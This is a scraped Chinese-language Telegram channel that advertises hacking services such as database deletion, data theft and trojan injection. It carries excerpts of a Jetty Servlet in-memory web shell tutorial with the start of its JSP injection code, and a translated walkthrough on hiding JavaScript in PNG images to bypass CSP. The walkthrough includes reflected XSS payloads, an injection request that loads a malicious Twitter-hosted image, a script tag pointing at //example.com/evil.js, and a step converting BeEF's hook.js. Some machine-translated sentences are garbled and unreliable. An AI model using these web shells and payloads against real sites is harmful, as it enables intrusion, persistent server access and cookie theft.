红客解密程序 暗网编程
27.5K subscribers
967 photos
12 videos
1 file
56 links
渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持
Download Telegram
但是这个类并不能用于调试,因为fastjson中用ASM生成的代码没有linenumber、trace等用于调试的信息,所以不能调试。不过通过在Expression那个窗口重写部分代码,生成可用于调式的bytecode应该也是可行的(我没有测试,如果有时间和兴趣,可以看下ASM怎么生成可用于调试的字节码)
Java利用技巧——Jetty Servlet型内存马

前言 在上篇文章介绍了Jetty Filter型内存马的实现思路和细节,本文介绍Jetty Servlet型内存马的实现思路和细节 0x01 简介 本文将要介绍以下内容: 实现思路 实现代码 Zimbra环境下的Servlet型内存马 0x02 实现思路 同样是使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Servlet型内存马 0x03 实现代码 1.添加Servlet Jetty下可用的完整代码如下: <%@ page import="java.lang.reflect.Field"%> <%@ page import="java.lang.reflect.Method"%> <%@ page import="java.util.Scanner"%> <%@ page import="java.io.*"%> <% String servletName = "myServlet"; String urlPattern = "/servlet"; Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig)...
版本修复
再1.5.2版本中对其进行了修复,获取requestURI的方式从request.getRequestUri直接获取的方式更改为获取request的ContextPath,ServletPath,PathInfo,然后再重新拼接而成。
如何通过在 PNG 图片中隐藏 JavaScript 来绕过 CSP
将恶意的JavaScript库隐藏在PNG图像中并发布推文,然后通过利用绕过其内容安全策略(CSP)的XSS将其包含在易受攻击的网站中。

将恶意JavaScript库隐藏到PNG图像中并发布推文,然后利用XSS攻击绕过其内容安全策略(CSP)将其包含在易受的网站中。这不是科幻小说……而是HTML Canvas。

TL;DR -使用 HTML Canvas,您可以将任何 JavaScript 代码(或整个库)到 PNG 图像中,方法可以将每个源字符代码转换为一个像素。然后可以将图像上传到受信任的网站(如 Twitter 或 Google)(通常由 CSP 列入白名单),然后作为 HTML 文档中的图像的远程加载。最后,通过使用 canvasgetImageData方法,可以从图像内容中提取隐藏“的 JavaScript”并执行它。有时这可能会导致安全策略,使攻击者能够包含整个外部外部JavaScript 库
TL;DR -使用 HTML Canvas,您可以将任何 JavaScript 代码(或整个库)到 PNG 图像中,方法可以将每个源字符代码转换为一个像素。然后可以将图像上传到受信任的网站(如 Twitter 或 Google)(通常由 CSP 列入白名单),然后作为 HTML 文档中的图像的远程加载。最后,通过使用 canvasgetImageData方法,可以从图像内容中提取隐藏“的 JavaScript”并执行它。有时这可能会导致安全策略,使攻击者能够包含整个外部外部JavaScript 库

由于Content-Security-Policy响应标头能够有效阻止XSS、点击劫持和其他代码注入攻击,因此使用越来越广泛。然而,许多网站配置了众多的政策,小区错误报告,将整个域而不是特定资源列入白名单,或者使用 unsafe-inline 或 unsafe-eval 指令,这可能会导致绕过政策
Canvas 2D API 的方法返回一个对象,该对象表示光纤指定部分的底层原材料数据。此方法不受光纤的变换矩阵的影响。如果指定的精确超出光纤的边界,则返回的对象中光纤指定部分的光纤为透明黑色。

使用 Canvas 隐藏 PNG 图像中的文本
按照您可以复制并粘贴到浏览器的 JavaScript 控制台中的示例,从给定的字符串开始创建 PNG 图像,例如:“Hello, World!”。打开新选项卡,然后about:blank打开 JavaScript 控制台并粘贴以下代码

上面的代码使用putImageData表示“Hello, World!”字符串中每 3 个字符的组作为每个像素的 RGB(红色、绿色和蓝色)级别的方法创建了一个图像。在浏览器的控制台中运行它后,您会在左上角看到一个小图像
正如我之前所说,上图的每个像素代表“隐藏字符串”的 3 个字符。使用函数,我可以将每个字符转换为和charCodeAt之间的整数,表示其 UTF-16 代码单元。在单个像素中,第一个转换的字符用于红色通道,第二个用于绿色通道,最后一个用于蓝色通道。第四个值是 alpha 级别,在我们的示例中始终为 255。例如:065535
现在我们有了一个代表“Hello, World!”字符串的 PNG 图像。您可以将以下代码复制并粘贴到 JavaScript 控制台中,以将生成的 PNG 图像转换为原始文本字符串

如上所示,JavaScript 代码选择刚刚创建的图像元素,并使用getImageData将其转换为原始文本字符串。使用 时getImageData,您将获得一个ImageData具有包含大数组的属性的对象data。如前所示,每个像素的数组中有四个条目ImageData:r、g、b和alpha。因此,数组看起来像[pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB, pixelNAlpha]。
存在漏洞的网站
现在我们知道如何将文本字符串“存储”到图像中以及如何将该图像转换回其原始字符串。现在假设隐藏 JavaScript 代码而不是简单的文本字符串,并将生成的 PNG 图像上传到 Twitter。可以绕过将 Twitter 图像列入白名单的内容安全策略,并可以利用 XSS 从“受信任”的来源加载 JavaScript 内容。
如您所见,该应用程序使用 Content-Security-Policy,允许来自“self”和 Twitter 的图像,并允许来自“self”、“inline”和“eval”的 JavaScript。不幸的是,许多网站配置script-src指令允许 unsafe-inline 和 unsafe-eval 以避免误报。此外,许多网站将整个域列入白名单,而不是将特定资源列入白名单。

如果您认为这种配置很少见,并且没有人在 script-src 指令上使用“unsafe-inline”和“unsafe-eval”,那您就错了。根据最近对 Alexa Top 1m 的抓取,似乎有超过 5000 个网站在 script-src 或 default-src 指令上使用带有“unsafe-inline”和“unsafe-eval”的 Content-Security-Policy

该漏洞存在于lang查询字符串参数中,该参数未对用户输入进行清理,从而导致 HTML 注入和反射型 XSS。要利用此测试 Web 应用程序上的 XSS 漏洞,我需要注入 HTML 语法来关闭src属性并添加 SCRIPT 标记,然后注入 JavaScript 代码,例如?lang="><script>alert(1)</script>。

现在我需要绕过 CSP 并导入类似?lang="><script+src="//example.com/evil.js"></script>被 CSP 阻止的外部 JavaScript 库
通过将 Twitter 上的图像加载到 IMG 标签中,我可以将其转换为隐藏的 JavaScript 代码。如下面的屏幕截图所示,图像包含一个执行值的 JavaScriptalert函数document.cookie
利用:绕过 CSP
正如我之前所说,为了利用测试 Web 应用程序,我需要将 HTML 语法注入 IMG 标签中,以src使用类似的方式关闭属性?lang="><script>alert(1)</script>。

要包含来自 Twitter 的远程图像,我只需发送此请求:

/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22
红色部分是我们的恶意 PNG 图像的 Twitter URL。蓝色部分是id注入的属性,以便更容易选择 IMG 标签。绿色部分是 A 标签,仅用于防止破坏 HTML 语法。现在我需要注入几行 JavaScript 来将图像转换为外部 JavaScript 库并绕过 CSP
将 PNG/JS 上传至 Twitter
经过一些测试,我发现当上传的图片太小时,Twitter 会报错。所以我用了一长段 JavaScript 代码(包括随机注释)来创建一个更大的图片
发送整个有效负载时,我收到执行错误,getImageData并显示消息“画布已被跨源数据污染”

由于画布位图中的像素可能来自各种来源,包括从其他主机检索的图像或视频,因此不可避免地会出现安全问题。只要您在画布上绘制任何未经 CORS 批准从其他来源加载的数据,画布就会被污染。被污染的画布不再被视为安全,任何从画布检索图像数据的尝试都会导致抛出异常。如果外部内容的来源是 HTML<img>或 SVG<svg>元素,则不允许尝试检索画布的内容
This media is not supported in your browser
VIEW IN TELEGRAM
转换 BeEF hook.js
这是将 BeEF 的 hook.js 转换为 PNG 图像的测试。BeEF 是一个浏览器利用框架,一个专注于 Web 浏览器的渗透测试工具(您可以在BeEF 的网站上找到更多信息)。我首先用 base64 对其进行编码curl -s 'http://localhost:3000/hook.js' | base64 -w0,然后创建如前所示的图像。